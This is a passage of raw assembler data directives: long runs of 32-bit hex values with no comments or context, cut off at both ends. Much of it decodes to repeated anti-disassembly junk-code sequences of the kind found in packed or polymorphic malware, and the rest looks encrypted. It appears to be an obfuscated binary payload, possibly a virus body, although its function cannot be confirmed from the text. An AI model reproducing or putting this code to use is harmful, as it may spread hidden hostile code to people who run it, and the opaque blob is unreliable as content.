0D37CE3Dh, 0D460CA19h, 0CE5987DAh, 80928B9Ch, 8122A01Fh dd 6822C9F1h, 0F77BEA19h, 3E6E4340h, 29664B1Dh, 8622DE1Dh dd 80738B19h, 0F1425A50h, 0DF7D9C4Bh, 32D04128h, 342E2241h dd 0DBA1CA19h, 0B3067414h, 0D9D008E4h, 0FA44A119h, 0C079F77Bh dd 72047049h, 2B2E064h, 37CA9819h, 3A22CA19h, 84780943h dd 726EE4Dh, 5526EE5Dh, 0E322CA19h, 7B14094Bh, 90A9AADFh dd 56ED1A98h, 0E543AAF2h, 13391B8Ch, 0D722A01Fh, 4322C9F1h dd 627BEA19h, 0F46E4340h, 4C664B1Dh, 3422D61Dh, 0D9738B19h dd 28CAD22Ch, 96CCB811h, 90A9AC5Fh, 0A122C7F0h, 0EC6DC219h dd 0B83BA549h, 7070794Ch, 87AF2CBFh, 0B037A5Eh, 6E72CA73h dd 4322CA1Ah, 0F9E19239h, 0D4068E90h, 6C068E98h, 3422CA04h dd 3CE19A59h, 954BBE2h, 9B53FA7Ah, 0B28F702Dh, 0F172E47Dh dd 8C0B744Bh, 592D8940h, 6EED417Fh, 3E3E4341h, 0E571CA73h dd 8622CA1Ah, 18E19139h, 0A5069690h, 0D4068E98h, 6822CA02h dd 0AE1995Ah, 99E10040h, 9D29A4F4h, 897298A8h, 4322C896h dd 31D34119h, 3872CA73h, 6822CA1Ah, 6CE19239h, 1E068E90h dd 9068E98h, 8622CA0Fh, 48E19A59h, 34DD9377h, 0D63CFB8Ch dd 0D529EFAFh, 323CCDA0h, 0E634F90h, 98A9CC07h, 803CDCA8h dd 63634FDFh, 0C771CC07h, 0A4FA1398h, 0CA737B71h, 0C5A9AC94h dd 0D406CE98h, 6B3E2F2Bh, 2C4F1598h, 71B37FE6h, 0A148CC07h dd 0D021224Ah, 3302CA19h, 68AB91DAh, 5EA3CE3Dh, 0D37CE3Dh dd 0D561CA19h, 0FA9C59DAh, 845E1CDCh, 0D2BB5F90h, 0EDAFCC07h dd 3203B2C8h, 0F277CA73h, 0D22CA1Ah, 0DBE19739h, 4706A690h dd 0A5068E98h, 0D022CA00h, 19E19F5Ch, 0F35772B3h, 0E3A743CBh dd 0F224D437h, 8BBFC3C9h, 0CA24D430h, 0BF10339Ch, 8522A01Fh dd 6822C9F1h, 0F77FEA19h, 3E4E4344h, 29664B1Dh, 8622D01Dh dd 80778F19h, 9D5CD01Fh, 0DF94E9E8h, 6822CC9Dh, 0EDBF4319h dd 0DC24D41Bh, 13028B9Ch, 6B4A8D1Fh, 0AA1AE932h, 0A122CA10h dd 8CF0072Ah, 9AA0B0C0h, 10264B06h, 736C23BAh, 9C9735E5h dd 0EC24D42Bh, 40CA9A19h, 8122CA19h, 597A0941h, 0E926EE5Dh dd 2926EE5Dh, 5A22CA19h, 80FD0949h, 0DDC0BAB4h, 0C21A52AAh dd 81F3471Ah, 55AFCC07h, 6E03B2C8h, 0DC74CA73h, 1A22CA1Ah dd 53E19439h, 8206BE90h, 47068E98h, 0A122CA00h, 0E6E19C5Fh dd 0B28C1F2Bh, 0DDA743C5h, 2B24D410h, 1336F78Ch, 89F2351Fh dd 4322CC9Dh, 0C0BF4319h, 5924D419h, 7609F79Ch, 0F6A3AC1Fh dd 9FE491F2h, 0B3CEA58h, 0D022A04Ah, 4322C9F1h, 627CEA19h dd 0F4564347h, 4C664B1Dh, 3422D11Dh, 0D9748C19h, 6CB154EFh dd 89DA49F9h, 43244E16h, 2CABCA19h, 0D63CC720h, 668F4F90h dd 8B2DCC07h, 4351A2CFh, 5F72EA56h, 8364744Bh, 4C7DACE6h dd 207A9028h, 0D63FEE1Dh, 0D244B2F3h, 81DD2D14h, 1C3CF888h dd 0E577CA73h, 8622CA1Ah, 1EE19739h, 0A506A690h, 0D4068E98h dd 6822CA0Fh, 90E19F5Ch, 1573089Eh, 0D22CA9Ah, 3AF9019h dd 4503B2C8h, 4974CA73h, 0D022CA1Ah, 36E19439h, 3006BE90h dd 1E068E98h, 0D22CA0Eh, 78E19C5Fh, 0BC6F6F14h, 0A13323C9h dd 4F30CA19h, 9192B340h, 7C565BE3h, 1983C73Bh, 8411AA43h dd 982ABF9Ch, 0FAA7431Fh, 0CB24D40Fh, 0D3CA9C19h, 4822CA19h dd 0BD7C0947h, 9B26EE6Dh, 1B26EE5Dh, 0C022CA19h, 796B094Fh dd 8CB743A2h, 1624D439h, 76028B9Ch, 0BDDA9D1Fh, 40CFB94h dd 0D26221Fh, 0D424CA19h, 3F9B5A1Dh, 0F135C48Eh, 0D022DEF0h dd 0E210D719h, 3C7785EEh, 7B4D229Bh, 0F9EAA7FDh, 88C5C779h dd 67664143h, 2AEC411Dh, 0F4664319h, 3078981Dh, 0DC71CA73h dd 1A22CA1Ah, 56E19139h, 82069690h, 47068E98h, 0A122CA0Eh dd 70E1995Ah, 971B0C44h, 2A105BACh, 77B7411Fh, 8424D41Dh dd 98212384h, 92A7471Fh, 0CB24EB61h, 0D3CA9919h, 4822CA19h dd 0BD790942h, 9B26EE45h, 1526EE5Dh, 0C522CA19h, 7580094Ah dd 5EE402D6h, 8622A0C9h, 6822C9F1h, 0F77CEA19h, 3E564347h dd 29664B1Dh, 8622DF1Dh, 80748C19h, 2CA99919h, 0D63CEADCh dd 6822C0F0h, 9B73019h, 5194A3A5h, 84C064B4h, 98349F9Ch dd 0B09DC51Fh, 81634FDFh, 5961CC07h, 760F0FA4h, 88D4701Fh dd 624AF9E5h, 8C4E43C3h, 1392EE1Dh, 43489A1Fh, 0A121224Eh dd 8F02CA19h, 14AB95DAh, 70A3CE3Dh, 1A34CE3Dh, 5A65CA19h dd 608796DAh, 4322D8F0h, 1CF2BB19h, 1922C782h, 57A74866h dd 0ABA47950h, 0E5B770B4h, 13105BACh, 0D422A01Fh, 4322C9F1h dd 6278EA19h, 0F4764343h, 4C664B1Dh, 3422D31Dh, 0D9708819h dd 0B57A6E66h, 0BA98DAAh, 453CFBF4h, 0D9F34F94h, 2FDACC38h dd 3F22A0C9h, 3422C9F1h, 0D97DEA19h, 295E4346h, 0A2664B1Dh dd 4322DC1Dh, 62758D19h, 38C0DC59h, 6822CA1Eh, 47EED250h dd 0F345405Bh, 0D22CA13h, 0F82BA11Fh, 148DCC08h, 2A780681h dd 0CE00BB8Ch, 5A7431Fh, 5224D407h, 0F671498h, 0BD154F94h dd 8648CC38h, 43212248h, 0F802CA19h, 9CAB93DAh, 2CA3CE3Dh dd 3434CE3Dh, 4B63CA19h, 2E35D2DAh, 1BD11598h, 0F972F357h dd 0F2D91EB5h, 0DF06CE90h, 6822C99Bh, 0FFA9AC19h, 1F35FE6h dd 0D48CC07h, 8621224Eh, 1C02CA19h, 0DDAB95DAh, 94A3CE3Dh dd 683BCE3Dh, 6365CA19h, 621021DAh, 846D53CBh, 982BE39Ch dd 4CFA411Fh, 0A122CC98h, 49AFE319h, 0E524D41Ch, 1592E19Ch dd 4822A01Fh, 0D22C9F1h, 4578EA19h, 67764343h, 85664B1Dh dd 0D022DE1Dh, 0AB708819h, 5974119h, 0F224D418h, 0D22CA14h dd 6ECC10C9h, 34E5CAB2h, 0D292D92Ch, 0B9A7437Fh, 3724D41Bh dd 18847049h, 1EAB94AAh, 5822A03Dh, 8622C9F1h, 807FEA19h dd 854E4344h, 0F4664B1Dh, 6822DE1Dh, 0F7778F19h, 0F3A743B8h dd 9E24D406h, 0ECEB747Fh, 0D0D54149h, 4973CA73h, 0D022CA1Ah dd 31E19339h, 30068690h, 1E068E98h, 0D22CA01h, 57E19B58h dd 0EC87BDAEh, 6A95C54Fh, 45B73547h, 0E324D428h, 2A107B8Ch dd 97A7431Fh, 8624D403h, 983C5B8Ch, 0AEA70D1Fh, 0AE24D40Dh dd 0BA22CA19h, 6BCA9F19h, 1422CA19h, 937F0944h, 8C26EE75h dd 9126EE5Dh, 622CA19h, 0F22D094Ch, 67983532h, 9731839Ah dd 2A38478Ch, 4A22A01Fh, 0D22C9F1h, 457AEA19h, 67664341h dd 85664B1Dh, 0D022D01Dh, 0AB728A19h, 0F85CE0CDh, 15834D00h dd 0D22CC94h, 33B7C319h, 0CA24D439h, 0BF216B9Ch, 8622A01Fh dd 6822C9F1h, 0F77CEA19h, 3E564347h, 29664B1Dh, 8622D01Dh dd 80748C19h, 0E4BFFB31h, 0D34FDBBEh, 760803ACh, 0D9A7411Fh dd 9724D410h, 2CE14584h, 8761431Fh, 4B8B7794h, 14AFCC07h dd 0D6030970h, 6822F9A0h, 0DF863919h, 1A22722Ah, 0CD29CA19h dd 9EE0C96Dh, 67664119h, 0A1CA9915h, 8B22CA19h, 68350998h dd 68ABCA19h, 5EABDA3Dh dd 0B579DE3Dh, 86BC6A2Eh, 7A92AE6h, 41DDCE3Dh, 3875CA73h dd 6822CA1Ah, 6BE19539h, 1E06B690h, 9068E98h, 8622CA02h dd 0B3E19D5Eh, 0C8B83071h, 399B4A6Dh, 6822CA10h, 0F63712C7h dd 9D13F803h, 5B22A0D0h, 8622C9F1h, 807CEA19h, 85564347h dd 0F4664B1Dh, 6822D01Dh, 0F7748C19h, 576ACF35h, 0E489A141h dd 8622CA10h, 0FFABDDD7h, 0A0CF56ACh, 6A9AB04h, 0D8097794h dd 0B9AFCC38h, 1C030E05h, 2B89FFA1h, 93A7F981h, 6824D40Eh dd 79CB0BD6h, 0F11222A0h, 19A122C9h, 40137BEAh, 1D4C6E43h dd 1D10664Bh, 191A22D3h, 0F305E983h, 6AD98BA4h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 892CC357h, 0F14668Bh, 82E9D3BFh, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 2CDAC356h, 8B6660F7h, 37BFBFD7h, 0E9614192h, 0Dh, 0F4A0343Ah dd 948A9118h, 0A5340DFh, 1850F5Fh, 0FC000000h, 53006A61h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 8EDC67D2h, 0FE937h, 0FE810000h, 0B2E94E2Fh, 1525EACh dd 77271214h, 8B0FC395h, 5, 0F85F5060h, 0F8C08B61h, 1D79BD83h dd 7500061Eh, 25BD8309h, 61E2Bh, 53501974h, 0B9B8C08Bh dd 89000004h, 1E0D1985h, 0A19D8D06h, 0FF0620ACh, 83585BD3h dd 1E2B25BDh, 17740006h, 0B9B85350h, 89000004h, 1E0D1985h dd 429D8D06h, 0FF0620A9h, 6A585BD3h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0DA05C351h dd 418ACC01h, 12E985h, 39F80000h, 0C29CD4A8h, 247DCA1Bh dd 134EB9F7h, 13389AC3h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 0F6C35343h, 0A45B3D9Ah, 60B235B4h, 601FCF80h dd 7E9h, 325BC300h, 0B69F8908h, 890Fh, 61610000h, 6AC08Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 0DCB955C3h, 0CE9h, 0A2627600h, 68FD1C3Eh, 0A21A5201h dd 0C18B4086h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 3FC35747h, 0EA890D1Ah, 0CE86060h, 0D9000000h, 7ADB0CA3h dd 0A725E15Ch, 5B3AD3B1h, 830Fh, 89610000h, 1E0279B5h dd 0B5316106h, 61E308Dh, 4EBh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 30D813C3h dd 0FB8B66DCh, 19DD858Dh, 0EF81061Eh, 1EA28982h, 0F525050h dd 50525031h, 5A310F52h, 8B310F58h, 5A585AF0h, 24048958h dd 8EA4D781h, 0B58B1501h, 61E1D2Dh, 6A006Ah, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 47D2C6C3h dd 0BD8BDDCBh, 61E1A49h, 14E9h, 0F928F00h, 411DECAEh, 82531856h dd 0CFFC2211h, 4B40A73Eh, 6A006AC7h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0E5DCC353h dd 49FB9E8Eh, 0E98276C7h, 12h, 85F3AFA2h, 0FBC4DB06h, 1C22710Fh dd 18057CA1h, 8BBF6798h, 8D54B7ABh, 21C82585h, 0C99D8906h dd 8B061E1Ah, 5C083F8h, 2DAD8589h, 0E850061Eh, 13h, 1F952C20h dd 0C4810095h, 9FBF4DB9h, 6C2A726Ch, 6686F04Fh, 5FC930BEh dd 6A240489h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 0CE6CC355h, 1980141Fh, 68A80D53h dd 13E9h, 2DEBFC00h, 7726A59Ch, 848F31CAh, 0A9F29C24h dd 3E34FF5h, 10E8006Ah, 86000000h, 8AC94537h, 0A7CC8CBCh dd 988C488Eh, 0F1AB9EBh, 6A5EF8BFh, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 89EFEC40h dd 1E169595h, 58D3106h, 29061E04h, 1E00D5B5h, 0ED95FF06h dd 66061E21h, 3590F781h, 94B69D8Dh, 6A0621h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0D57299C3h dd 8947C36Eh, 1E0599BDh, 19B58B06h, 0FF061E16h, 0C2E681D3h dd 0F504D1Bh, 685h, 0A99D2900h, 0FF061E32h, 1E1D9185h dd 2800F06h, 8B000000h, 83BF66F0h, 7F5E9BBh, 0E80000h dd 5D000000h, 0C82FED81h, 6A0621h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 0FE1BBC3h, 686h, 0B9B58B00h dd 81061E20h, 1E14EDBDh, 7D006h, 0BB860F00h, 8B000001h dd 1E0ED1BDh, 0F59D8B06h, 6A061E07h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 1795C355h dd 0B222656h, 0E9E2D070h, 0Bh, 15E65CB1h, 7EF2BBC0h, 81DE7CC4h dd 100E3h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 15DAB13Ch, 6670AC4Ch, 9D09F88Bh dd 61E0C39h, 850FDB0Bh, 0CCh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 0C35646h, 0FF921F1Ch, 0BD33E0E2h dd 61E2DE5h, 8E9h, 5A4CFB00h, 622DE9B3h, 26BD8327h, 621C6h dd 3C840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 0B600B4C3h, 8918A2ACh, 1E12A19Dh dd 1DBE6606h, 4D8D297Ah, 0E9061E1Fh, 91h, 1B29B58Bh, 85C7061Eh dd 621C626h, 1, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 0DCC35343h, 5EE93F6Bh, 60000000h, 0FD0D380h, 282h dd 61D98B00h, 0BE8h, 64C7D700h, 66F2D389h, 8834426Dh, 5FF1B70Fh dd 0C62685C7h, 621h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 7C9B86C3h, 0B1D94547h dd 0F43ACADh, 689h, 498D8900h, 8B061E20h, 0F59D8DF2h, 6A061E07h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 69B6C351h, 53B87838h, 883645A2h, 0BDBD8B56h dd 5E061E17h, 0FEFF2381h, 8C66FFFFh, 19B503DBh, 0F6061E16h dd 840F04C3h, 3Bh, 0FFFABF0Fh, 1E1A8D95h, 8C0F5006h, 8 dd 0F525053h, 5F585A31h, 6A240489h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 39B4C355h dd 0E96C2FACh, 44Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 0B2C35343h, 68583492h, 0B04C0292h, 0EE816600h dd 70E6C3E5h, 1F55B501h, 8166061Eh, 0E4587FDFh, 14E971h dd 6E790000h, 8579F41Fh, 0C5775764h, 9C20AEFBh, 8A86646Eh dd 0B60FC3C3h, 57006AD8h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 7184CA50h, 6BAh, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 0AFABC5A7h, 0B2B82162h, 9E90645h, 0DB000000h, 0CBF04AD2h dd 11DE3FE4h, 919D8B60h, 8B061E08h, 1E0F458Dh, 0EE86106h dd 8B000000h, 8452F3A6h, 0E6578DB9h, 0FA4E6Eh, 0A803BEBCh dd 8B5E7F26h, 53006AC3h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1504h, 0C3534300h, 0E8C1C149h, 0E9BD8B04h, 66061E2Eh dd 6AE2F7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 0C67AA5C3h, 64746DD8h, 0D82BF38Bh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 7DC35141h dd 1CDCDDEFh, 8BB05C1Bh, 1C8950F2h, 0C9B50324h, 0FF061E25h dd 1E14EDB5h, 7DBD8906h, 0BF061E09h, 48ABB856h, 26C195FFh dd 9D89061Eh, 61E1259h, 0E791DE81h, 0B05CDFh, 118FBF66h dd 6A70E6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 5DB9B4C3h, 9C4C65E5h, 30319589h, 71E4061Eh dd 13D9BD8Bh, 613C061Eh, 297830Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0A40F88C3h dd 606599A8h, 8BCEB70Fh, 1E0455BDh, 0B5896106h, 61E1A15h dd 6AD8B60Fh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 1381C351h, 9CDC85Ch, 6BAh, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 892D06AFh, 6AC38Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 0B3CCD8C3h, 66BF663Bh, 0F781665Eh dd 0E8C1FC62h, 8B0F04h, 66000000h, 10E8E2F7h, 72000000h dd 8A4FA64Fh, 0DA6F7B42h, 4C785CE3h, 0BEC69881h, 0C6C1974h dd 0FD82B5Fh, 689h, 0EDBD8B00h, 58061E25h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0BEC35343h, 3E88B867h dd 1DA19FAAh, 269B58Bh, 0C4BE061Eh, 2B7B2593h, 86880FD8h dd 6A000001h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 0FD00C355h, 2785B58Bh, 7B9061Eh dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 381DC355h, 4BF913CCh, 0E800C183h dd 0Bh, 480425ECh, 952189D2h, 8BC2A0B2h, 0D93B5EF0h, 11F860Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 1960C0C3h, 199DB589h, 8C66061Eh, 0D68166D9h dd 9E989B9h, 42000000h, 0CCA2D8C5h, 0FBCA611Dh, 0F04C1F6h dd 0B384h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 9907CFBBh, 0A9C3386Ah, 95FF52A4h dd 61E1A8Dh, 2890Fh, 0F98B0000h, 50006A5Bh, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 85296BA0h dd 61E320Dh, 1B66D781h, 0C32B2321h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 77C35747h, 73B01335h, 161CC66h dd 1E04B1BDh, 8343D06h, 860F0000h, 20h, 617EBE66h, 40E9h dd 10E800h, 83290000h, 0B3BB5F53h, 0DE146D78h, 1AC215D8h dd 5EFC3132h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 6C491EC3h, 8B0FA574h, 1, 8BC38BF5h dd 56006AD8h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 70CA5410h, 29376319h, 1E045D95h, 5985C706h dd 95061E04h, 0E8514399h, 0Fh, 0C9DD8AA0h, 0C63CA572h dd 0C932823Ah, 2340AF39h, 1E21A9BDh, 0C08B5E06h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0C6C35141h, 383AF40Ah dd 20A1BD89h, 0BD81061Eh, 61E14EDh, 7D0h, 2B850Fh, 85FF0000h dd 61E14EDh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 49C35646h, 963092F6h, 0BF0FAEE0h, 0EDB5FFFBh, 6A061E14h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 7C07C350h, 60046BB3h, 66DFB70Fh, 4F78D981h dd 8DBD8B61h, 0FF061E1Ch, 1E26C195h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0F2BF0F1Ch dd 5678B890h, 6E81234h, 6D000000h, 0CD4543F3h, 71B58BC4h dd 5E061E20h, 0CFD99D8Dh, 2FE90621h, 6AFFFFF8h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 2C21C350h, 5DB58B24h, 8B061E31h, 52006AC1h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0F1542DF3h dd 8BF3152Bh, 4EBh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 0E8412BC3h, 8, 4DEA2FDAh dd 87116172h, 48D0Fh, 0BE660000h, 895F501Dh, 1E0205BDh dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 59960B18h, 434644F2h, 0B1BD2BEEh, 8D061E2Bh dd 1E19DD85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1504h, 0C3534300h, 0F08B5787h, 89905090h, 1E07F985h dd 6A006A06h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 95EFC353h, 0D7816E50h, 0BFC6814h dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 32BB00C3h, 83BF6628h, 3A858D23h, 8B0621D2h dd 1E2E99B5h, 0E5BD8B06h, 83061E1Ah, 0BD8B05C0h, 61E25C1h dd 52505090h, 0A7E3BF66h, 585A310Fh, 56006A90h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 0FA74375h dd 0F85916Dh, 6AF2B7h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 14C35646h, 0A7F9B793h, 8D891715h, 61E2D0Dh dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 9589E6C3h, 61E0501h, 21ED95FFh, 8DF9061Eh dd 2194B69Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 86C9E9A7h, 6AD3FFh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 0DD2CA8C3h dd 0FFE753CBh, 1E1D9185h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0F04B7B8h dd 0BCE9FABFh, 0E800000Eh, 0 dd 44ED815Dh, 6A0621D2h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 0BF4EC353h, 194365A1h dd 14EDBD81h, 7D0061Eh, 860F0000h, 159h, 2A198589h, 9531061Eh dd 61E2DDDh, 226D9D8Bh, 6A061Eh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 221DBFC3h, 0DE44CA10h dd 7DB58B48h, 81061E16h, 100E3h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 89A7E0A5h dd 1E1D8595h, 0FDB0B06h, 7D85h, 83F98B00h, 21D046BDh, 840F0006h dd 4Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h dd 0C2C35747h, 0D681189Dh, 23BA9526h, 8E9h, 0BDA6AD00h dd 0F73E9F81h, 6870F23h, 0B000000h, 1E2D61B5h, 6AE906h dd 800F0000h, 7, 1800Fh, 0C7F80000h, 21D04685h, 106h, 0BDBD8B00h dd 0E9061E0Dh, 48h, 359D8B60h, 8A061E20h, 85C761F3h, 621D046h dd 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0C1C35646h dd 6E292C94h, 519D8960h, 89061E2Fh, 1E0269B5h, 0B58B6106h dd 61E2319h, 226D9D8Dh, 70BF061Eh, 81778658h, 0FFFEFF23h dd 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 293429E2h, 0DB8C66A6h, 12850Fh, 0DE90000h dd 7F000000h, 9CCC93BBh, 2ADCE35Ah, 11AE1A96h, 0F04C3F6h dd 6C84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 963AB79h, 0F395706h, 830FFBB7h, 6 dd 2F98589h, 95FF061Eh, 61E1A8Dh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 0C1C35747h, 59DB58Bh, 6650061Eh dd 489FE8Bh, 59B52324h, 89061E07h, 1E163D95h, 464E906h dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 0D897B0C3h, 0C5BFD3A4h, 6A00B073h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 0BF48C350h, 6A70E6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 71E4CFC3h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 78C35343h, 6A767FDDh, 601FBA2Fh dd 9380BE8Eh, 0B60F40F6h, 55E681D8h, 0BA56DD2Fh, 6, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 5FC35646h, 0C3AAAA7Bh dd 0F133EA3h, 584h, 0DF816600h, 0C38B7297h, 4E8C1F8h, 0FE9h dd 213FED00h, 983C57F3h, 0BD2ACD7Bh, 183B4D7Dh, 6AE2F766h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 3152C352h, 1E0C759Dh, 6AD82B06h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 0ACF4C357h, 0A29F058h, 0F86CC3CDh, 1F95B58Bh, 0F50061Eh dd 58Ah, 87D5BF00h, 1C895B03h, 0FA8B6624h, 22859589h, 0B5FF061Eh dd 61E14EDh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 0ADC35646h, 0FF47A9E4h, 1E26C195h, 55006A06h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 0FFB35070h, 4BB4BE66h, 5E5200B0h, 6A70E6h, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 95897DC3h dd 61E217Dh, 6A71E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 34D4C0C3h, 0BF665E2Ah, 613CA545h dd 274830Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 0F8B9A9C3h, 249F0775h, 6890F53h dd 1000000h, 1E293585h, 0B60F5E06h, 53006AD8h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 0D16931BCh dd 10E96212h, 84000000h, 0A9379AB0h, 513BA480h, 1D594BA2h dd 0BA3EBAECh, 6, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 0EC35040h, 9E50A51Eh, 66C38B05h, 41D1E781h, 0FBD78166h dd 4E8C148h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 0D0C35040h, 6AE2F766h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 0EA10C351h, 0FC781BC8h dd 9589D82Bh, 61E0229h, 51006A58h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 0F7836DE1h, 0FD82B4Eh dd 16588h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 850F18D7h, 6, 19EDBD8Bh, 7B9061Eh dd 0E9000000h, 0Dh, 0E5628B55h, 125AC534h, 5EFECEFDh, 599589CCh dd 83061E1Bh, 0D78100C1h, 7C5E31Bh, 860FD93Bh, 10Eh, 8E9h dd 0B97C9500h, 861363D5h, 0D98C66FFh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 0CAC35242h, 5043298Bh, 0DE8h dd 77816500h, 24A44B3Fh, 0B49F573Ch, 8F0FE2C6h, 0 dd 0B58B5E5Eh, 61E09B5h, 0F04C1F6h, 0B384h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 565F9860h, 12C9BD1Eh, 95FFD78Ah, 61E1A8Dh, 13E9h, 0C1D0A500h dd 6226165Ch, 419C6932h, 8E52ADA7h, 3363B50Dh, 53006A5Bh dd 3E8h, 0C35B2000h, 245C895Bh, 